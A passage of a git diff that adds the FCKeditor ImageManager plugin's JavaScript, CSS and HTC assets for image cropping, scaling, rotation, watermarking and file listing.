+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    var cx = ax-pic_x<0?0:ax-pic_x;
+    var cy = ay-pic_y<0?0:ay-pic_y;
+    cx = cx>pic_width?pic_width:cx;
+    cy = cy>pic_height?pic_height:cy;
+    
+    var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+    var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+    ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+    cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+    ch = ch<0?0:ch; cw = cw<0?0:cw;
+    
+    if (ant.style.visibility == "hidden")
+    {
+        cx = ""; cy = ""; cw=""; ch="";
+    }
+
+    if(mode == 'crop') {
+        if(t_cx != null)
+            t_cx.value = cx;
+        if (t_cy != null)   
+            t_cy.value = cy;
+        if(t_cw != null)
+            t_cw.value = cw;
+        if (t_ch != null)   
+            t_ch.value = ch;
+    }
+    else if(mode == 'scale') {
+
+        var sw = aw, sh = ah;
+
+        if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+        {   
+            sw = cw/pic_width;
+            sh = ch/pic_height;
+        }
+        if (s_sw != null)
+            s_sw.value = sw;
+        if (s_sh != null)
+            s_sh.value = sh;
+    }
+
+}
+
+function dragStopped()
+{
+    dragapproved=false;
+
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        jg_doc.drawLine(x-4,y,x+4,y);
+        jg_doc.drawLine(x,y-4,x,y+4);
+        jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+        jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+        var ah = parseInt(ant.style.height);
+        var aw = parseInt(ant.style.width);
+        var ax = parseInt(ant.style.left);
+        var ay = parseInt(ant.style.top);
+        jg_doc.clear();
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = aw-1;
+                content.height = ah-1;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        if(mode == "crop") {
+            //alert(pic_y);
+            jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+            
+            var h1 = ah;
+            var y1 = ay;
+            if (ah+ay >= pic_height+pic_y)
+                h1 = pic_height+pic_y-ay;
+            else if (ay <= pic_y)
+            {
+                h1 = ay+ah-pic_y;
+                y1 = pic_y;
+            }
+            jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+            jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+            jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+        }
+        else if(mode == "scale") {
+            //alert("Resizing: iw:"+image.width+" nw:"+aw);
+            document.theImage.height = ah;
+            document.theImage.width = aw;
+            document.theImage.style.height = ah+" px";
+            document.theImage.style.width = aw+" px";
+
+            P7_Snap('theImage','ant',0,0);
+
+            //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+        }
+
+        drawBoundHandle();
+        jg_doc.paint();
+    
+        showStatus();
+    return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
diff --git a/fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css b/fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css
new file mode 100644 (file)
index 0000000..7cefe46
--- /dev/null
@@ -0,0 +1,76 @@
+.icons {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #EEEEFF;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+    font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    background-color: #F9F9FF;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+}
+.iconsSel {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-decoration: none;
+    text-align: center;
+}
+.measureStats{
+    width: 50px;
+}
+
+#slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
diff --git a/fckeditor/editor/plugins/ImageManager/assets/blank.gif b/fckeditor/editor/plugins/ImageManager/assets/blank.gif
new file mode 100644 (file)
index 0000000..75b945d
Binary files /dev/null and b/fckeditor/editor/plugins/ImageManager/assets/blank.gif differ
diff --git a/fckeditor/editor/plugins/ImageManager/assets/dialog.js b/fckeditor/editor/plugins/ImageManager/assets/dialog.js
new file mode 100644 (file)
index 0000000..8babe27
--- /dev/null
@@ -0,0 +1,111 @@
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window.document);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++].document));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window.document);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++].document));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {                
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editor.css b/fckeditor/editor/plugins/ImageManager/assets/editor.css
new file mode 100644 (file)
index 0000000..8a0482c
--- /dev/null
@@ -0,0 +1,220 @@
+               body
+               {
+                       margin: 0; padding: 0;
+                       font: 11px Tahoma,Verdana,sans-serif;
+               }
+               select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+               #indicator
+               {
+                       width: 29px;
+                       height: 20px;
+                       background-color: #eef;                 
+                       padding: 15px 20px;
+                       position: absolute;
+                       left: 0; top: 0;
+               }
+               * html #indicator
+               {
+                       padding: 14px 22px;
+               }
+               #tools
+               {
+                       width: 600px;
+                       height: 50px;
+                       background-color: #eef;
+                       padding: 0;
+                       position: absolute;
+                       left: 69px;
+                       border-left: 1px solid white;
+                       border-bottom: 1px solid white;
+               }
+               #toolbar
+               {
+                       width: 59px;
+                       height: 435px;
+                       background-color: #eef;
+                       float: left;
+                       text-align: center;
+                       padding: 5px;
+                       position: absolute;
+                       top: 50px;
+                       border-top: 1px solid white;
+                       border-right: 1px solid white;
+               }
+               
+               #contents
+               {
+                       width: 600px;
+                       height: 445px;
+                       position: absolute;
+                       left: 70px; top: 51px;
+               }
+               
+               #editor
+               {
+                       width: 600px;
+                       height: 445px;
+               }
+
+               #toolbar a 
+               {
+                       padding: 5px 3px;
+                       width: 52px;
+                       display: block;
+                       border: 1px solid #eef;
+                       text-align: center;
+                       text-decoration: none;
+                       color: #669;
+                       margin: 5px 0;
+               }
+               #toolbar a:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               
+               #toolbar a.iconActive
+               {
+                       border-color: #669;
+               }
+
+               #toolbar a span
+               {
+                       display: block;
+                       text-decoration: none;
+                       
+               }
+               #toolbar a img
+               {
+                       border: 0 none;
+               }
+               
+               #tools .textInput
+               {
+                       width: 3em;
+                       vertical-align: 0px;
+
+               }
+               * html #tools .textInput
+               {
+                       vertical-align: middle;
+               }
+               #tools .measureStats
+               {
+                       width: 4.5em;
+                       border: 0 none;
+                       background-color: #eef;
+                       vertical-align: 0px;
+               }
+               * html #tools .measureStats
+               {
+                       vertical-align: middle;
+               }
+               .measureStats
+               {
+                       color: black;
+               }
+               #tools label
+               {
+                       margin: 0 2px 0 5px;
+               }
+               #tools input
+               {
+                       vertical-align: middle;
+               }
+               #tools #tool_inputs
+               {
+                       padding-top: 10px;
+                       float: left;                    
+               }
+               #tools .div
+               {
+                       vertical-align: middle;
+                       margin: 0 5px;
+               }
+               #tools img
+               {
+                       border: 0 none;
+               }
+               #tools a.buttons
+               {
+                       margin-top: 10px;
+                       border: 1px solid #eef;
+                       display: block;
+                       float: left;
+               }
+               #tools a.buttons:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+
+               .slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+        top: 6px;
+        margin: 0 -5px 0 -10px;
+
+       
+}
+
+
+.slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+.sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+* html #slidercasing
+{
+       top:0;
+}
+
+
+#bottom
+{
+       position: relative;
+       top: 490px;
+}
+
+#messages
+{
+       position: relative;
+       left: 175px;
+       top: 115px;
+       background-color: white;
+       width: 200px;
+       float: left;
+       margin-top: -52px;
+       border: 1px solid #ccc;
+       text-align: center;
+       padding: 15px;
+}
+
+#message
+{
+       font-size: 15px;
+       font-weight: bold;
+       color: #69c;
+}
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editor.js b/fckeditor/editor/plugins/ImageManager/assets/editor.js
new file mode 100644 (file)
index 0000000..02ad67d
--- /dev/null
@@ -0,0 +1,323 @@
+/**
+ * Functions for the ImageEditor interface, used by editor.php only    
+ * @author $Author: matrix $
+ * @author $Author: matrix $ - constraints toggle and check
+ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editor.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+       var current_action = null;
+       var actions = ['crop', 'scale', 'rotate', 'measure', 'save', 'watermark', 'replace'];
+       var orginal_width = null, orginal_height=null;
+       function toggle(action) 
+       {
+               if(current_action != action)
+               {
+                       // hiding watermark
+                       if (editor.window.document.getElementById("imgCanvas"))
+                       {
+                               editor.window.document.getElementById("imgCanvas").style.display = "block";
+                               editor.window.document.getElementById("background").style.display = "none";
+                               if (editor.window.watermarkingEnabled == true)
+                               {
+                                       editor.window.dd.elements.floater.hide();
+                               }
+                       }
+
+                       for (var i in actions)
+                       {
+                               if(actions[i] != action)
+                               {
+                                       var tools = document.getElementById('tools_'+actions[i]);
+                                       tools.style.display = 'none';
+                                       var icon = document.getElementById('icon_'+actions[i]);
+                                       icon.className = '';
+                               }
+                       }
+
+                       current_action = action;
+                       
+                       var tools = document.getElementById('tools_'+action);
+                       tools.style.display = 'block';
+                       var icon = document.getElementById('icon_'+action);
+                       icon.className = 'iconActive';
+
+                       var indicator = document.getElementById('indicator_image');
+                       indicator.src = 'img/'+action+'.gif';
+
+                       editor.setMode(current_action);
+
+                       // if watermark action, show watermark
+                       if(action == 'watermark') 
+                       {
+                               if (editor.window.document.getElementById("imgCanvas"))
+                               {
+                                       editor.window.document.getElementById("imgCanvas").style.display = "none";
+                                       editor.window.document.getElementById("background").style.display = "block";
+                                       if (editor.window.watermarkingEnabled == true)
+                                       {
+                                       editor.window.dd.elements.floater.show();
+                                       editor.window.dd.elements.floater.moveTo(0, 0);
+                                       editor.window.verifyBounds();
+                                       }
+                               }
+                       }
+
+                       //constraints on the scale,
+                       //code by Frédéric Klee <fklee@isuisse.com>
+                       if(action == 'scale') 
+                       {
+                               var theImage = editor.window.document.getElementById('theImage');
+                               orginal_width = theImage.width ;
+                               orginal_height = theImage.height;
+
+                var w = document.getElementById('sw');
+                               w.value = orginal_width ;
+                               var h = document.getElementById('sh') ;
+                               h.value = orginal_height ;
+                       }
+               }
+       }
+
+       function toggleMarker() 
+       {
+               var marker = document.getElementById("markerImg");
+               
+               if(marker != null && marker.src != null) {
+                       if(marker.src.indexOf("t_black.gif") >= 0)
+                               marker.src = "img/t_white.gif";
+                       else
+                               marker.src = "img/t_black.gif";
+
+                       editor.toggleMarker();
+               }
+       }
+
+       //Toggle constraints
+       function toggleConstraints() 
+       {
+               var lock = document.getElementById("scaleConstImg");
+               var checkbox = document.getElementById("constProp");
+               
+               if(lock != null && lock.src != null) {
+                       if(lock.src.indexOf("unlocked2.gif") >= 0)
+                       {
+                               lock.src = "img/islocked2.gif";
+                               checkbox.checked = true;
+                               checkConstrains('width');
+
+                       }
+                       else
+                       {
+                               lock.src = "img/unlocked2.gif";
+                               checkbox.checked = false;
+                       }
+               }
+       }
+       
+       //check the constraints
+       function checkConstrains(changed) 
+       {
+               var constrained = document.getElementById('constProp');
+               if(constrained.checked) 
+               {
+                       var w = document.getElementById('sw') ;
+                       var width = w.value ;
+                       var h = document.getElementById('sh') ;
+                       var height = h.value ;
+                       
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) 
+                                       h.value = parseInt((width/orginal_width)*orginal_height);
+                               else if(changed == 'height' && height > 0) 
+                                       w.value = parseInt((height/orginal_height)*orginal_width);
+                       }
+               }
+               
+               updateMarker('scale') ;
+       }
+
+
+       function updateMarker(mode) 
+       {
+               if (mode == 'crop')
+               {
+                       var t_cx = document.getElementById('cx');
+                       var t_cy = document.getElementById('cy');
+                       var t_cw = document.getElementById('cw');
+                       var t_ch = document.getElementById('ch');
+
+                       editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+               }
+               else if(mode == 'scale') {
+                       var s_sw = document.getElementById('sw');
+                       var s_sh = document.getElementById('sh');
+                       editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+               }
+       }
+
+       
+       function rotatePreset(selection) 
+       {
+               var value = selection.options[selection.selectedIndex].value;
+               
+               if(value.length > 0 && parseInt(value) != 0) {
+                       var ra = document.getElementById('ra');
+                       ra.value = parseInt(value);
+               }
+       }
+
+       function updateFormat(selection) 
+       {
+               var selected = selection.options[selection.selectedIndex].value;
+
+               var values = selected.split(",");
+               if(values.length >1) {
+                       updateSlider(parseInt(values[1]));
+               }
+
+       }
+
+       function doUpload() 
+       {
+               // hiding action buttons
+               var buttons = parent.document.getElementById('buttons');
+               buttons.style.display = 'none';
+               // hiding current action's controls
+               var tools = parent.document.getElementById('tools_replace');
+               tools.style.display = 'none';
+
+               // try to restrict the user from closing the editor window when uploading
+               parent.old = (parent.onbeforeunload) ? parent.onbeforeunload : function () {};
+               parent.onbeforeunload = function () {parent.old(); alert(i18n("Please do not close the window while uploading a new image! If you do, the original image gets deleted!")); return false;};
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       // show processing message
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       // hide message
+       function hideMessage() 
+       {
+               var messages = document.getElementById('messages');
+               messages.style.display = "none";
+       }
+
+       // change watermark
+       function changeWatermark(source)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+                       floater.swapImage(eval("editor.window." + source.options[source.selectedIndex].value + "Preload.src"));
+                       floater.resizeTo(source.options[source.selectedIndex].getAttribute("x"), source.options[source.selectedIndex].getAttribute("y"));
+                       editor.window.verifyBounds();
+               }
+       }
+
+       // change watermark opacity
+       function changeWatermarkOpacity(opacity)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+
+                       // IE/Win
+                       floater.css.filter = "alpha(opacity:" + opacity + ")";
+                       // Safari < 1.2, Konqueror
+                       floater.css.KHTMLopacity = opacity / 100;
+                       // Older Mozilla and Firefox
+                       floater.css.Mozopacity = opacity / 100;
+                       // Safari 1.2, newer Firefox and Mozilla, CSS3
+                       floater.css.opacity = opacity / 100;
+               }
+       }
+
+       // change watermark position
+       function moveWatermark(x, y)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+                       background = editor.window.dd.elements.background;
+
+                       x = background.x + (background.w - floater.w) * x;
+                       y = background.y + (background.h - floater.h) * y;
+                       
+                       floater.moveTo(x, y);
+               }
+       }
+
+       // color the background of the watermark
+       function colorWatermarkBG(color)
+       {
+               if (background = editor.window.document.getElementById("background"))
+               {
+                       // saving background image and removing
+                       if (background.style.backgroundImage != "" && background.style.backgroundImage != "url(img/backgroundGrid.gif)")
+                       {
+                               this.backgroundImage = background.style.backgroundImage;
+                       }
+                       background.style.backgroundImage = "";
+
+                       // show background image
+                       if (color == "")
+                       {
+                               background.style.backgroundImage = this.backgroundImage;
+                               background.style.backgroundColor = "";
+                       }
+                       // show grid
+                       else if(color == "grid")
+                       {
+                               background.style.backgroundImage = "url(img/backgroundGrid.gif)";
+                               background.style.backgroundColor = "";
+                       }
+                       // set color
+                       else
+                       {
+                               background.style.backgroundColor = color;
+                       }
+               }
+       }
+
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       init = function()
+       {
+               var bottom = document.getElementById('bottom');
+               if(window.opener)
+               {
+                       __dlg_init(bottom);
+                       __dlg_translate(I18N);
+               }
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editorFrame.css b/fckeditor/editor/plugins/ImageManager/assets/editorFrame.css
new file mode 100644 (file)
index 0000000..b963710
--- /dev/null
@@ -0,0 +1,8 @@
+body { margin: 0; padding: 0;  background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; } 
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editorFrame.js b/fckeditor/editor/plugins/ImageManager/assets/editorFrame.js
new file mode 100644 (file)
index 0000000..ab846fb
--- /dev/null
@@ -0,0 +1,126 @@
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: matrix $
+ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editorFrame.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+       // hiding action buttons
+       var buttons = parent.document.getElementById('buttons');
+       buttons.style.display = 'none';
+       // hiding current action's controls
+       var tools = parent.document.getElementById('tools_' + action);
+       tools.style.display = 'none';
+
+    if (action == 'watermark')
+    {
+               //show message
+               parent.showMessage('watermarking');
+
+               var watermarkX = dd.elements.floater.x - dd.elements.background.x;
+               var watermarkY = dd.elements.floater.y - dd.elements.background.y;
+
+               var opacity = parseInt(topDoc.getElementById('sliderfieldwatermark').value);
+               var watermarkFullPath = topDoc.getElementById('watermark_file').options[topDoc.getElementById('watermark_file').selectedIndex].getAttribute("fullPath");
+        var url = "editorFrame.php?img="+currentImageFile+"&action=watermark&opacity=" + opacity + '&watermarkFullPath=' + watermarkFullPath + '&watermarkX=' + watermarkX + '&watermarkY=' + watermarkY;
+
+        location.href = url;
+    }   
+    else if (action == 'crop')
+    {
+               //show message
+               parent.showMessage('cropping');
+
+               var url = "editorFrame.php?img="+currentImageFile+"&action=crop&params="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+        location.href = url;
+    }   
+    else if (action == 'scale')
+    {
+               //show message
+               parent.showMessage('scaling');
+
+        var url = "editorFrame.php?img="+currentImageFile+"&action=scale&params="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+
+        location.href = url;
+    }
+    else if (action == 'rotate')
+    {
+               //show message
+               parent.showMessage('rotating');
+
+        var flip = topDoc.getElementById('flip');
+
+        if(flip.value == 'hoz' || flip.value == 'ver') 
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=flip&params="+flip.value;
+        else if (isNaN(parseFloat(r_ra.value))==false)
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate&params="+parseFloat(r_ra.value);
+    }
+    else if(action == 'save')
+       {
+               //show message
+               parent.showMessage('saving');
+
+        var s_file = topDoc.getElementById('save_filename');
+        var s_format = topDoc.getElementById('save_format');
+        var s_quality = topDoc.getElementById('sliderfieldsave');
+
+        var format = s_format.value.split(",");
+        if(s_file.value.length <= 0) 
+               {
+            alert(i18n('Please enter a filename to save.'));
+        }
+        else
+        {
+            var filename = encodeURI(s_file.value);
+            var quality = parseInt(s_quality.value);
+            var url = "editorFrame.php?img="+currentImageFile+"&action=save&params="+format[0]+","+quality+"&file="+filename;
+
+            location.href = url;
+        }
+    }
+}
+
+
+function addEvent(obj, evType, fn)
+{ 
+       if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+       else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+       else {  return false; } 
+} 
+
+var jg_doc;
+
+function init()
+{
+       jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+       jg_doc.setColor("#000000"); // black
+
+       initEditor();
+}
+
+addEvent(window, 'load', init);
diff --git a/fckeditor/editor/plugins/ImageManager/assets/hover.htc b/fckeditor/editor/plugins/ImageManager/assets/hover.htc
new file mode 100644 (file)
index 0000000..555d820
--- /dev/null
@@ -0,0 +1,34 @@
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+//     Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+//  Experimental ver 0.1
+//
+//     This is an experimental version! Handle with care!
+//     Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+       
+       element.origClassName = element.className;      // backup origonal className
+       
+       var tempClassStr = element.className;           
+       
+       tempClassStr += "Hover";                                        // convert name+'Hover' the last class name     to emulate tag.class:hover
+       
+       tempClassStr = tempClassStr.replace(/\s/g,"Hover ");    //convert name+'Hover' the others to emulate tag.class:hover
+       
+       tempClassStr += " hover";                               // add simple 'hover' class name to emulate tag:hover
+       
+       element.className = element.className + " " + tempClassStr; 
+       
+       //alert(element.className);
+       //window.status = element.className;            // only for TEST
+}
+function hoverRollOff() {
+       element.className = element.origClassName;
+}
+
+</script>
+
diff --git a/fckeditor/editor/plugins/ImageManager/assets/imagelist.css b/fckeditor/editor/plugins/ImageManager/assets/imagelist.css
new file mode 100644 (file)
index 0000000..0df5f5d
--- /dev/null
@@ -0,0 +1,10 @@
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(assets/hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif;  text-align: center;  padding-top: 60px;   }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center;  padding-top: 65px;}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/images.js b/fckeditor/editor/plugins/ImageManager/assets/images.js
new file mode 100644 (file)
index 0000000..16bd726
--- /dev/null
@@ -0,0 +1,106 @@
+/**
+ * Functions for the image listing, used by images.php only    
+ * @author $Author: matrix $
+ * @version $Id: images.js,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function changeDir(newDir) 
+       {
+               showMessage('Loading');
+               location.href = "images.php?dir="+newDir;
+       }
+
+
+       function newFolder(dir, newDir) 
+       {
+               location.href = "images.php?dir="+dir+"&newDir="+newDir;
+       }
+
+       //update the dir list in the parent window.
+       function updateDir(newDir)
+       {
+               var selection = window.top.document.getElementById('dirPath');
+               if(selection)
+               {
+                       for(var i = 0; i < selection.length; i++)
+                       {
+                               var thisDir = selection.options[i].text;
+                               if(thisDir == newDir)
+                               {
+                                       selection.selectedIndex = i;
+                                       showMessage('Loading');
+                                       break;
+                               }
+                       }               
+               }
+       }
+
+       function selectImage(filename, alt, width, height) 
+       {
+               var topDoc = window.top.document;
+               
+               var obj = topDoc.getElementById('f_file');  obj.value = filename;
+               var obj = topDoc.getElementById('f_url');  obj.value = filename;
+               var obj = topDoc.getElementById('f_width');  obj.value = width;
+               var obj = topDoc.getElementById('f_width'); obj.value = width;
+               var obj = topDoc.getElementById('f_height'); obj.value = height;
+               var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+               var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+               var obj = topDoc.getElementById('orginal_height'); obj.value = height;          
+       }
+
+       function showMessage(newMessage) 
+       {
+               var topDoc = window.top.document;
+
+               var message = topDoc.getElementById('message');
+               var messages = topDoc.getElementById('messages');
